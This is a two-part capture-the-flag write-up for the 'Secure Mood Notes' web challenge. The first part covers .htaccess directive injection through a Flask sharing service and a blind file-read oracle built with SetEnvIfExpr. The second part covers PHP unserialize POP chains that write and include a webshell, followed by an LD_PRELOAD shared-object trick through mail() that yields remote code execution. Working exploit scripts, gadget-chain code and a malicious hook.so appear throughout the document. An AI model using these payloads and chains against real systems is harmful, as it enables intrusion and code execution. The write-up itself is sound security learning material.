Web / Secure Mood Notes (Part 1)
TL;DR
This first part was about turning a note-sharing feature into an arbitrary Apache directive injection. The Flask sharing service generated a .htaccess file from user-controlled data and only protected it with a weak filename filter and a call to ip_address(). By abusing line continuation in Apache and the IPv6 zone identifier syntax accepted by Python, I was able to inject arbitrary directives. Then I used SetEnvIfExpr together with file(unbase64(...)) to build a blind file-read oracle, which let me recover /opt/default.rules and the Snuffleupagus secret key.
Overview
The challenge was a web application split into two parts:
- a Symfony note-taking application served at
/
- a Flask-based sharing service exposed at
/share/
The goal of this first part was to read /opt/default.rules, which contains the secret key used by Snuffleupagus to sign serialized data with HMAC.
Vulnerable code
The main vulnerability was in the sharing service. It generated an Apache .htaccess file using user-controlled input and only relied on:
- a weak filename sanitizer
- a call to Python’s
ip_address() on the allowed_ip field
The vulnerable code was in src/share_notes_app/app.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""
def clean_filename(name: str) -> str:
name = re.sub(r'[./;!\n\r"<>\(\)\{\}\[\]]', '', name)
name = re.sub(r'\s+', ' ', name)
return name.strip()
@app.route("/create", methods=["POST"])
def share():
try:
if not request.cookies.get("notes_data"):
return jsonify({"error":"Missing cookie notes_data"}), 422
if not request.cookies.get("client_key"):
return jsonify({"error":"Missing cookie client_key"}), 422
data = request.get_json()
if not data.get("note_id"):
return jsonify({"error":"Missing note_id"}), 422
if not data.get("allowed_ip"):
return jsonify({"error":"Missing allowed_ip"}), 422
if not data.get("name"):
return jsonify({"error":"Missing name"}), 422
name = data.get("name")
allowed_ip = data.get("allowed_ip")
note_id = data.get("note_id")
if len(data.get("name")) > 10:
return jsonify({"errror":"Filename too long"}), 422
if not note_id.isdigit():
return jsonify({"error": "Invalid note_id"}), 422
try:
ip_address(allowed_ip)
except:
return jsonify({"error":"Invalid IP address"}), 422
resp = requests.get(f"http://127.0.0.1/api/notes/{note_id}", cookies={"client_key": request.cookies.get("client_key"), "notes_data": request.cookies.get("notes_data")}).json()
if not resp.get("title") and not resp.get("content"):
return jsonify({"error":"Invalid data's cookie"}), 422
note_filename = clean_filename(name)
folder_name = str(uuid.uuid4())
share_folder = f"{BASE_ROOT_SHARE}/{folder_name}"
Path(share_folder).mkdir(mode=0o755, parents=True, exist_ok=True)
with open(f"{share_folder}/shared.mood.notes","w",encoding="latin-1") as fd_mood_note:
fd_mood_note.write(f"{resp['title']}\n{resp['content']}")
with open(f"{share_folder}/.htaccess","w") as fd_htaccess:
fd_htaccess.write(HT_ACCESS_CONTENT%(note_filename, allowed_ip))
return jsonify({"path": f"/shared_notes/{folder_name}/shared.mood.notes"}), 200
except:
return jsonify({"error":"Internal Server Error"}), 500
|
For a normal request like this:
1
|
{"note_id":"0","allowed_ip":"127.0.0.1","name":"notes.txt"}
|
the generated .htaccess looked like this:
1
2
3
4
5
6
|
<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename notes.txt
Require ip 127.0.0.1
Options -ExecCGI
php_flag engine off
</FilesMatch>
|
Bypassing the clean_filename() check
The clean_filename() function was just a simple regex filter. It removed a few special characters, but it did not remove the single quote ' or the backslash \.
These two characters were enough for the bypass.
The idea was to place a backslash at the end of the Header set line. In Apache, this creates a line continuation. Then, by injecting a single quote into allowed_ip, I could close the string and make the next line become part of the header value instead of an Apache directive.
For example:
1
|
{"note_id":"0","allowed_ip":"127.0.0.1'\nDirective1 Value1","name":"'AAA\\"}
|
This produced:
1
2
3
4
5
6
7
|
<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename 'AAA\
Require ip 127.0.0.1'
Directive1 Value1
Options -ExecCGI
php_flag engine off
</FilesMatch>
|
At this point the IP was not valid yet.
Bypassing the ip_address() check
The next step was to inspect the source code of Python’s ip_address().
The important detail is that the input can be either IPv4 or IPv6. For IPv6, Python supports a zone identifier, which means a suffix can be added after %.
This means I could inject almost anything after %, including quotes and newlines. The only restrictions were that I could not use / or another %.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
def ip_address(address):
"""Take an IP string/int and return an object of the correct type."""
try:
return IPv4Address(address)
except (AddressValueError, NetmaskValueError):
pass
try:
return IPv6Address(address)
except (AddressValueError, NetmaskValueError):
pass
raise ValueError(f'{address!r} does not appear to be an IPv4 or IPv6 address')
class IPv6Address(_BaseV6, _BaseAddress):
def __init__(self, address):
...
if '/' in addr_str:
raise AddressValueError(f"Unexpected '/' in {address!r}")
addr_str, self._scope_id = self._split_scope_id(addr_str)
self._ip = self._ip_int_from_string(addr_str)
@staticmethod
def _split_scope_id(ip_str):
"""Helper function to parse IPv6 string address with scope id."""
addr, sep, scope_id = ip_str.partition('%')
if not sep:
scope_id = None
elif not scope_id or '%' in scope_id:
raise AddressValueError('Invalid IPv6 address: "%r"' % ip_str)
return addr, scope_id
|
So I could start with a payload like this:
1
|
{"note_id":"0","allowed_ip":"::1%'\nRewriteEngine On\nErrorDocument 404 /opt/default.rules","name":"'AAA\\"}
|
Which gave:
1
2
3
4
5
6
7
8
|
<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename 'AAA\
Require ip ::1%'
RewriteEngine On
ErrorDocument 404 /opt/default.rules
Options -ExecCGI
php_flag engine off
</FilesMatch>
|
However, / was forbidden, so I needed another trick.
Final file-read primitive
At this point, I needed a file-read primitive that did not require / or %.
I first looked at Apache expressions and found that something like this was possible:
1
|
Header set Mood-Filename expr=%{file:%{unbase64:L29wdC9kZWZhdWx0LnJ1bGVz}}
|
Here, L29wdC9kZWZhdWx0LnJ1bGVz is the Base64 encoding of /opt/default.rules.
This solved the / problem, but not the % problem. I also could not use <If "expr"></If> because that syntax contains /.
After more testing, I found that SetEnvIfExpr allows expression evaluation without using % or /, which made it a good fit for this context.
Blind exfiltration
Instead of trying to print the full file directly, I used a boolean oracle.
The idea was to test whether the file content matched a prefix using -strmatch, which behaves like SQL LIKE.
The payload used in exfil.py was:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CLIENT_KEY = "..."
NOTES_DATA = "..."
BASE_URL = "https://secure-mood-notes.fcsc.fr"
# BASE_URL = "http://localhost"
flag = "" # FCSC{9c3c34c030a9d6d8}
while True:
for c in "0123456789abcdef}":
payload = {
"note_id": "0",
"allowed_ip": "::1%'\nSetEnvIfExpr \"file(unbase64('L29wdC9kZWZhdWx0LnJ1bGVz')) -strmatch '*FCSC{"
+ flag
+ c
+ "*'\" MATCH=$1\nHeader set X-Output match env=MATCH",
"name": "'AAA\\",
}
resp = requests.post(
BASE_URL + "/share/create",
cookies={"client_key": CLIENT_KEY, "notes_data": NOTES_DATA},
json=payload,
proxies={"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"},
verify=False,
)
assert resp.ok
path = resp.json()["path"]
resp = requests.get(
BASE_URL + path,
proxies={"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"},
verify=False,
)
if resp.status_code == 500:
flag += c
print(flag)
break
|
This produced the following logic in .htaccess:
1
2
3
4
5
6
7
8
|
<FilesMatch "\.mood\.notes$">
Header set Mood-Filename 'AAA\
Require ip ::1%'
SetEnvIfExpr "file(unbase64('L29wdC9kZWZhdWx0LnJ1bGVz')) -strmatch '*FCSC{<prefix><candidate>*'" MATCH=$1
Header set X-Output match env=MATCH
Options -ExecCGI
php_flag engine off
</FilesMatch>
|
Then I only had to request the shared note and check whether the X-Output header was present in the response. If it was present, the tested prefix was correct. By repeating this process, I could brute-force the secret character by character.
On the production environment, I did not receive the X-Output response header, but instead got a 500 status code for valid -strmatch expressions.
Web / Secure Mood Notes (Part 2)
TL;DR
The second part started once I had recovered the Snuffleupagus secret key. The Symfony application unserialized attacker-controlled data from a cookie, and the Notes::filter() logic gave a very good POP chain entry point because it used attacker-controlled callbacks through array_map(). I used one gadget chain to write a PHP file with fwrite(), then another gadget chain to include it. After that, I used the classic mail() and LD_PRELOAD trick to bypass the disabled functions. The Flask sharing service helped me place a malicious shared object inside a writable and executable directory, which finally gave me remote code execution.
Overview
In the first part, I recovered the secret key used by Snuffleupagus to sign unserialized data with HMAC.
The content of /opt/default.rules was:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
sp.global.secret_key("FCSC{9c3c34c030a9d6d8}");
sp.xxe_protection.enable();
sp.unserialize_hmac.enable();
sp.disable_function.function("assert").drop();
sp.disable_function.function("create_function").drop();
sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();
sp.disable_function.function("system").drop();
sp.disable_function.function("shell_exec").drop();
sp.disable_function.function("exec").drop();
sp.disable_function.function("proc_open").drop();
sp.disable_function.function("passthru").drop();
sp.disable_function.function("popen").drop();
sp.disable_function.function("pcntl_exec").drop();
sp.disable_function.function("file_put_contents").drop();
sp.disable_function.function("rename").drop();
sp.disable_function.function("copy").drop();
sp.disable_function.function("move_uploaded_file").drop();
sp.disable_function.function("ZipArchive::__construct").drop();
sp.disable_function.function("DateInterval::__construct").drop();
|
With this list of disabled functions, my first idea was to use Chankro, because it mainly relies on putenv() and mail().
Unserialize entry point
Each user’s notes were stored directly as a serialized object inside a cookie.
For example, in src/main_notes_app/src/Controller/NoteController.php:
1
2
3
4
5
6
|
#[Route('/api/notes/{id}', name: 'update_note', methods: ['PUT'])]
public function updateNote(Request $request, int $id): Response
{
$result = Utils::getNotesFromCookie($request);
$filter = $request->query->get('filter','normal');
$notesArray = $result['notes']->filter($filter);
|
And in src/main_notes_app/src/Repository/Utils.php, the cookie was decoded and directly passed to unserialize():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public static function getNotesFromCookie(Request $request): array
{
$cookieValue = $request->cookies->get(self::COOKIE_NAME);
// ...
try {
$data = base64_decode($cookieValue);
// ...
$unserialized = unserialize($data);
if (!$unserialized instanceof Notes) {
return ['notes' => new Notes([]), 'invalid' => true];
}
return ['notes' => $unserialized, 'invalid' => false];
} catch (\Exception $e) {
return ['notes' => new Notes([]), 'invalid' => true];
}
}
|
Users could also apply filters to their notes, for example uppercase or lowercase filters:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
class Notes
{
public array $all_notes;
public array $filters;
public function __construct($all_notes) {
$this->all_notes = $all_notes;
$this->filters = ["angry" => [$this, "angryMode"], "chill" => [$this, "chillMode"], "normal" => [$this, "normalMode"]];
}
public function filter(string $filter) {
return array_map($this->filters[$filter], $this->all_notes);
}
|
This was a very good entry point. Since the filter callback comes from attacker-controlled unserialized data, I could fully control the callable passed to array_map(). By controlling the notes too, I could also control the arguments.
Gadget chains
The first primitive I found was file writing through fwrite(), since file_put_contents() was disabled.
The container was running in read_only mode, but some directories were mounted as tmpfs. So I could not write directly into the webroot, and I had to find a way to include my webshell afterwards.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
secure-mood-notes:
build: .
read_only: true
hostname: "secure-mood-notes"
container_name: "secure-mood-notes"
ports:
- "8002:80"
cap_drop:
- all
cap_add:
- CAP_SETGID
- CAP_SETUID
- CAP_CHOWN
tmpfs:
- /var/www/html/public/shared_notes/:size=500M,uid=1000,gid=1000,exec
- /dev/shm:ro,size=1k
- /tmp/:size=50M,uid=0,gid=0,exec
- /run/:size=50M,noexec
- /run/lock/:size=50M,noexec
|
The following classes were useful for the POP chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
|
<?php
namespace Symfony\Component\Intl\Data\Bundle\Reader {
class PhpBundleReader
{
public function read(string $path, string $locale): mixed
{
$fileName = $path . '/' . $locale . '.php';
return include $fileName;
}
}
}
namespace Doctrine\ORM {
class UnitOfWork
{
private array $identityMap = [];
public function getIdentityMap(): array
{
return $this->identityMap;
}
}
class EntityManager
{
private UnitOfWork $unitOfWork;
public function __construct() {
$this->unitOfWork = new UnitOfWork();
}
public function getUnitOfWork(): UnitOfWork
{
return $this->unitOfWork;
}
}
}
namespace Doctrine\ORM\Tools {
class DebugUnitOfWorkListener
{
private $file;
private $context;
public function __construct(
string $file = 'php://output',
string $context = '',
)
{
$this->file = $file;
$this->context = $context;
}
public function dumpIdentityMap(mixed $em): void
{
$uow = $em->getUnitOfWork();
$identityMap = $uow->getIdentityMap();
$fh = fopen($this->file, 'xb+');
if (count($identityMap) === 0) {
fwrite($fh, 'Flush Operation [' . $this->context . "] - Empty identity map.\n");
}
}
}
}
namespace PHPUnit\Framework\MockObject {
final readonly class Invocation
{
private array $parameters;
public function __construct(array $parameters)
{
$this->parameters = $parameters;
}
public function parameters(): array
{
return $this->parameters;
}
}
}
namespace PHPUnit\Framework\MockObject\Stub {
final class ReturnCallback
{
private $callback;
public function __construct(callable $callback)
{
$this->callback = $callback;
}
public function invoke(\PHPUnit\Framework\MockObject\Invocation $invocation): mixed
{
return \call_user_func_array($this->callback, $invocation->parameters());
}
}
}
namespace App\Model {
class Note
{
public $title;
public $content;
public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
}
}
class Notes
{
public array $all_notes;
public array $filters;
public function __construct($all_notes)
{
$this->all_notes = $all_notes;
}
public function filter(string $filter)
{
return array_map($this->filters[$filter], $this->all_notes);
}
}
}
|
Writing a PHP file
Using Doctrine\ORM\Tools\DebugUnitOfWorkListener::dumpIdentityMap(), I could create a file and write controlled content into it using fopen() and fwrite().
For example, this serialized object writes a PHP payload to /run/lock/shell.php:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
$func_param = new EntityManager();
$obj_func = new DebugUnitOfWorkListener("/run/lock/shell.php", file_get_contents("shell.php"));
$notes = new Notes([
$func_param
]);
$notes->filters = [
"normal" => [$obj_func, "dumpIdentityMap"]
];
echo base64_encode(serialize($notes));
|
Including a PHP file
The second useful gadget was Symfony\Component\Intl\Data\Bundle\Reader\PhpBundleReader::read(), which includes a PHP file from a controlled path.
Combined with PHPUnit\Framework\MockObject\Stub\ReturnCallback, this gave me a simple way to include any PHP file already written on disk:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
$includer = new PhpBundleReader();
$func_name = [$includer, "read"];
$func_params = ["/run/lock", "shell"];
$obj_params = new Invocation($func_params);
$obj_func = new ReturnCallback($func_name);
$notes = new Notes([
$obj_params
]);
$notes->filters = [
"normal" => [$obj_func, "invoke"]
];
echo base64_encode(serialize($notes));
|
So the strategy was straightforward: first use one POP chain to write a PHP payload, then use another POP chain to include and execute it.
Bypassing disabled functions
To bypass the disabled functions, I used the classic mail() + LD_PRELOAD trick.
The idea is simple: if I control LD_PRELOAD before calling mail(), the helper process started by mail() loads my malicious shared object and executes code for me.
The main limitation was that the shared object had to be stored on a writable and executable mounts.
Writing the shared object through Flask
The Flask sharing service was again very useful in this second part.
Besides generating .htaccess, it also wrote the note title into:
1
|
/var/www/html/public/shared_notes/<uuid>/shared.mood.notes
|
This directory was both writable and mounted with exec, so it was a perfect place to store the malicious shared object.
To use this, I wrote a small faker.php script that returned fake JSON where the "title" field contained the raw bytes of hook.so. This made the Flask service write the shared object for me into its own executable directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>
void pwn(void) {
system(getenv("CMD"));
}
void daemonize(void) {
signal(SIGHUP, SIG_IGN);
if (fork() != 0) {
exit(EXIT_SUCCESS);
}
}
__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}
// gcc -fPIC -shared -o hook.so hook.c
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
$h = '<base64_hook.so>';
header("Content-Type: application/json");
function bytes_to_unicode_escape(string $input): string
{
$out = '';
for ($i = 0; $i < strlen($input); $i++) {
$out .= sprintf('\\u%04x', ord($input[$i]));
}
return $out;
}
echo '{"title":"'.bytes_to_unicode_escape(base64_decode($h)).'", "content":""}';
die();
|
Final payload
Finally, shell.php only had to set the environment variables and call mail():
1
2
3
4
5
6
|
<?php
putenv("CMD=/getflag please give me the flag >> /run/lock/shell.php");
putenv("LD_PRELOAD=/var/www/html/public/shared_notes/63b52dec-76f4-4e7d-8708-ac471dfd1b4d/shared.mood.notes");
mail('a', 'a', 'a', 'a');
// FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426}
?>
|
When mail() started its helper process, the malicious shared object was loaded through LD_PRELOAD. That executed the command stored in CMD, which gave me remote code execution and the final flag.
